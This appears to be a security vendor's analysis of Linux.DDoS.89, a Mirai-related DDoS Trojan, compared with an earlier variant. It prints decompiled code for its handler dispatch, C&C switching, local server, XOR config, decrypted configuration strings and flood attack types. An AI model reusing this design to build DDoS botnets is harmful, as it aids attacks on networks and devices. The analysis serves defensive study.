SHA1:
- 846b2d1b091704bb5a90a1752cafe5545588caa6
A modified version of Linux.DDoS.87 that fills structures with command handlers in a similar way:
v0->number_ = 0;
v0->func = cmd0;
v2 = (cmd **)realloc(malware_conf.entries, 4 * malware_conf.size + 4);
v3 = malware_conf.size + 1;
malware_conf.entries = v2;
v2[malware_conf.size] = v1;
malware_conf.size = v3;
v4 = (cmd *)calloc(1u, 8u);
v5 = v4;
v4->number_ = 1;
v4->func = cmd1;
The appearance of some structures has been changed: some fields have been swapped around. The way the configuration is filled and stored has also been changed: in this version, the memory is not reallocated; instead, a statically allocated memory area is used to save the Trojan. Before using a specific configuration value that is stored in the memory, the decode function is called. This function decrypts the value by implementing an XOR operation and is then called again to encrypt the value in the memory. Like in the previous version, field values are obtained from a number, but now it coincides with the location in the array. The command format has not been changed. The method of running a command handler is still the same (taking into account that the way of storing handlers has been changed).
Running the command handler in Linux.DDoS.87:
char __cdecl run_command(__time_t time, char number, unsigned __int8 target_count, target_parsed *targets, unsigned __int8 params_count, param2 *params)
{
signed int v6; // eax@1
int v7; // esi@2
unsigned __int8 v8; // dl@3
int v9; // ebx@12
int status; // [esp+28h] [ebp-14h]@8
LOBYTE(v6) = number;
if ( handlers.length )
{
v7 = 0;
if ( number == handlers.handlers->number )
{
handler_found:
v6 = __libc_fork();
if ( v6 <= 0 )
{
if ( !v6 )
{
v6 = __libc_fork();
if ( v6 > 0 )
__GI_exit(0);
if ( !v6 )
{
v6 = __libc_fork();
v9 = v6;
if ( !v6 )
{
__GI_setsid();
init_random();
handlers.handlers[v7].func(target_count, targets, params_count, params);
__GI_exit(0);
}
if ( v6 > 0 )
{
__GI_setsid();
sleep(time);
__GI_kill(v9, 9);
__GI_exit(0);
}
}
}
}
else
{
LOBYTE(v6) = __libc_waitpid(v6, &status, 0);
}
}
else
{
v8 = 0;
while ( ++v8 != handlers.length )
{
v7 = v8;
LOBYTE(v6) = number;
if ( handlers.handlers[v7].number == number )
goto handler_found;
}
}
}
return v6;
}
Running the command handler in Linux.DDoS.89:
void __cdecl sub_8048200(int a1, char a2, unsigned __int8 a3, target_parsed *a4, unsigned __int8 a5, param2 *a6)
{
int v6; // eax@1
int v7; // eax@4
int v8; // eax@7
cmd *v9; // edx@7
int v10; // eax@12
v6 = __libc_fork();
if ( v6 != -1 && v6 <= 0 )
{
v7 = __libc_fork();
if ( v7 == -1 )
__GI_exit(0);
if ( !v7 )
{
__GI_sleep(a1);
v10 = getppid();
__GI_kill(v10, 9);
__GI_exit(0);
}
if ( (signed int)malware_conf.size > 0 )
{
v8 = 0;
v9 = *malware_conf.entries;
if ( a2 == (*malware_conf.entries)->number_ )
{
LABEL_10:
v9->func(a3, a4, a5, a6);
}
else
{
while ( ++v8 != malware_conf.size )
{
v9 = malware_conf.entries[v8];
if ( v9->number_ == a2 )
goto LABEL_10;
}
}
}
}
}
The main differences from Linux.DDoS.87
The pseudo-random sequence generator has been changed, as has the order in which the Trojan performs its actions once it has been launched. First, it starts operating with signals, ignoring SIGINT:
__GI_sigemptyset(&v43);
__GI_sigaddset(&v43, SIGINT);
__GI_sigprocmask(SIG_BLOCK, &v43, 0)
Then other signal handlers are installed:
__bsd_signal(SIGCHLD, SIGEV_NONE);
__bsd_signal(SIGTRAP, change_host);
//change_host:
void __cdecl change_host()
{
decode(4u);
decode(5u);
cnc.sin_addr.s_addr = *(_DWORD *)get_config_entry(4, 0);
cnc.sin_port = *(_WORD *)get_config_entry(5, 0);
encode(4u);
encode(5u);
}
The process then receives the IP address of the network interface used to connect to the Internet via the Google DNS server (Linux.DDoS.87 got this address by connecting to its C&C server):
int getMyIp()
{
int v0; // esi@1
int result; // eax@1
__int16 v2; // [esp+20h] [ebp-1Ch]@2
__int16 v3; // [esp+22h] [ebp-1Ah]@2
int v4; // [esp+24h] [ebp-18h]@2
int v5; // [esp+30h] [ebp-Ch]@1
v5 = 16;
v0 = __GI_socket(2, 2, 0);
result = 0;
if ( v0 != -1 )
{
v2 = 2;
v4 = 0x8080808;
v3 = 0x3500;
__libc_connect(v0, &v2, 16);
__GI_getsockname(v0, &v2, &v5);
__libc_close(v0);
result = v4;
}
return result;
}
The local server is then launched:
int start_server()
{
int result; // eax@1
struct flock *v1; // eax@2
char v2; // ST1C_1@2
unsigned __int32 v3; // eax@2
_DWORD *v4; // ebx@4
char v5; // [esp+Ch] [ebp-30h]@0
sockaddr_in v6; // [esp+20h] [ebp-1Ch]@4
int v7; // [esp+30h] [ebp-Ch]@1
v7 = 1;
result = __GI_socket(2, 1, 0);
server_socket = result;
if ( result != -1 )
{
__GI_setsockopt(result, 1, 2, &v7, 4);
v1 = (struct flock *)__GI___libc_fcntl(server_socket, 3, 0, v5);
BYTE1(v1) |= 8u;
__GI___libc_fcntl(server_socket, 4, v1, v2);
v3 = 0x100007F;
if ( !can_bind )
v3 = selfaddr;
v6.sin_family = 2;
v6.sin_addr.s_addr = v3;
v6.sin_port = 0xE5BBu; //48101
v4 = getLastError();
*v4 = 0;
if ( __GI_bind(server_socket, &v6, 16) == -1 )
{
if ( *v4 == EADDRNOTAVAIL )
can_bind = 0;
v6.sin_family = 2;
v6.sin_addr.s_addr = 0;
v6.sin_port = 0xE5BBu; //48101
__libc_connect(server_socket, &v6, 16); //connect to socket
__GI_sleep(5);
__libc_close(server_socket);
result = start_server();
}
else
{
result = __GI_listen(server_socket, 1);
}
}
return result;
}
If the Trojan fails to use the bind system call, it connects to the corresponding port because it is assumed that the port is already busy running a previously launched Linux.DDoS.89 process. In this case, the previously launched process terminates itself. Once the server is launched, the C&C server address information stored in the executable file is added to the sockaddr_in structure:
.text:0804BBEF mov ds:cnc.sin_family, 2
.text:0804BBF8 add esp, 10h
.text:0804BBFB mov ds:cnc.sin_addr.s_addr, XXXXXXXXh
.text:0804BC05 mov ds:cnc.sin_port, 5000h
Then the following function obtained from the process is calculated:
def check(name):
print name
a = [ord(x) for x in name]
sum = (0 - 0x51) & 0xff
for i in [2,4,6,8,10,12]:
z = (~a[i % len(a)] & 0xff)
sum = (sum + z)&0xff
return sum % 9
The result returned by the function is an index in a function array. The function with the corresponding index will be performed. The list of functions looks as follows:
.rodata:080510A0 off_80510A0 dd offset start_server ; DATA XREF: main+4Do
.rodata:080510A4 dd offset decode
.rodata:080510A8 dd offset get_config_entry
.rodata:080510AC dd offset fill_config
.rodata:080510B0 dd offset encode
.rodata:080510B4 dd offset memncpy
.rodata:080510B8 dd offset strcmp
.rodata:080510BC dd offset runkiller
.rodata:080510C0 dd offset change_host
Then the name of the current process is checked. If it is “./dvrHelper”, the SIGTRAP signal is created. This signal is responsible for changing the C&C server.
Each configuration is filled in the following way:
v2 = (char *)malloc(0xFu);
memcpy(v2, (char *)&unk_8051259, 15);
conf_entries[3].data = v2;
conf_entries[3].length = 15;
v3 = (char *)malloc(4u);
memcpy(v3, "'ь+B", 4);
conf_entries[4].data = v3;
conf_entries[4].length = 4;
v4 = (char *)malloc(2u);
memcpy(v4, "\"5", 2);
conf_entries[5].data = v4;
conf_entries[5].length = 2;
v5 = (char *)malloc(7u);
The configuration for this sample looks as follows:
Номер | Decrypted value | Purpose |
---|---|---|
1 | "DROPOUTJEEP" | |
2 | "wiretap -report='tcp://65.222.202.53:80'" this string is appended as a Trojan’s name and is displayed in a process list | |
3 | "listening tun0" | output to stdin when launched |
4 | <ip-addres> | C&C server’s address |
5 | <port> | C&C server’s port |
6 | "/proc/" | runkiller |
7 | "/exe" | runkiller |
8 | "REPORT %s:%s" | runkiller |
9 | "HTTPFLOOD" | runkiller |
10 | "LOLNOGTFO" | runkiller |
11 | "\x58\x4D\x4E\x4E\x43\x50\x46\x22" | runkiller |
12 | "zollard" | runkiller |
13 | "GETLOCALIP" | unused |
14 | <host> | the scanner of the hosts’ IP address to which information on infected computers is sent |
15 | <port> | the scanner of the hosts’ port to which information on infected computers is sent |
16 | "shell" | scanner |
17 | "enable" | scanner |
18 | "sh" | scanner |
19 | "/bin/busybox MIRAI" | scanner |
20 | "MIRAI: applet not found" | scanner |
21 | "ncorrect" | scanner |
22 | "TSource Engine Query" | cmd1 |
23 | "/etc/resolv.conf" | cmd2 |
24 | "nameserver" | cmd2 |
Once the configuration is filled, the process’s name is changed to conf[2]. Using the prctl function, its name is changed to conf[1].
Then conf[3] is output to the standard stdin thread:
.text:0804BE05 lea eax, [esp+1224h+len]
.text:0804BE0C push eax
.text:0804BE0D push 3
.text:0804BE0F call get_config_entry
.text:0804BE14 add esp, 0Ch
.text:0804BE17 mov edi, [esp+1220h+len]
.text:0804BE1E push edi ; len
.text:0804BE1F push eax ; addr
.text:0804BE20 push 1 ; fd
.text:0804BE22 call ___libc_write
.text:0804BE27 add esp, 0Ch
.text:0804BE2A push 1 ; len
.text:0804BE2C push offset newline_2 ; addr
.text:0804BE31 push 1 ; fd
.text:0804BE33 call ___libc_write
Child processes are subsequently created and the following functions are called:
.text:0804BEBF call init_consts__
.text:0804BEC4 call fill_handlers
.text:0804BEC9 call run_scanner
.text:0804BECE pop esi
.text:0804BECF mov edx, [esp+1228h+var_1210]
.text:0804BED3 mov ebx, [edx]
.text:0804BED5 push ebx
.text:0804BED6 call runkiller
The runkiller function does not check whether files are present in the process’s directory because it uses PID. The process will not be terminated if its PID is the same as the current or parental one.
The same changes were implemented to the network operation mechanism. Instead of blocking sockets, the Trojan uses the select system call which also handles server sockets. When connecting to a server socket, all child processes and the current process are terminated, and a new scanner process is run:
.text:0804C1E5 socket_server_ready: ; CODE XREF: main+53Ej
.text:0804C1E5 mov [esp+121Ch+optval], 10h
.text:0804C1F0 lea eax, [esp+121Ch+var_48]
.text:0804C1F7 push edi
.text:0804C1F8 lea edx, [esp+1220h+optval]
.text:0804C1FF push edx
.text:0804C200 push eax
.text:0804C201 push ecx
.text:0804C202 call ___libc_accept
.text:0804C207 call kill_scanner
.text:0804C20C call kill_killer
.text:0804C211 call spawn_new_scanner
.text:0804C216 pop ebx
.text:0804C217 pop esi
.text:0804C218 push 9 ; sig
.text:0804C21A neg [esp+1228h+var_120C]
.text:0804C21E mov ecx, [esp+1228h+var_120C]
.text:0804C222 push ecx ; int
.text:0804C223 call ___GI_kill
.text:0804C228 mov [esp+122Ch+fd], 0 ; status
.text:0804C22F call ___GI_exit
The MAC address of the network adapter is not sent to the C&C server, and network commands are received one by one.
The run_scanner function, which was borrowed from the Linux.BackDoor.Fgt Trojan family and which is responsible for searching for vulnerable devices, has been slightly changed—the C&C server’s address, to which information on infected computers is sent, is extracted from the configuration.
HTTP flood is now missing from the list of types of attacks performed, and commands have been reordered:
Номер | Тип |
---|---|
0 | UPD random |
1 | TSource |
2 | DNS flood |
3 | TCP flood 2 options |
4 | TCP flood random data |
5 | TCP flood |
6 | UDP over GRE |
7 | TEB over GRE |
In the examined sample, virus makers tried to carry out a DNS amplification attack: the DNS server’s address is retrieved either from the resolv.conf file or from a list of public DNS servers hard-coded into the Trojan’s body.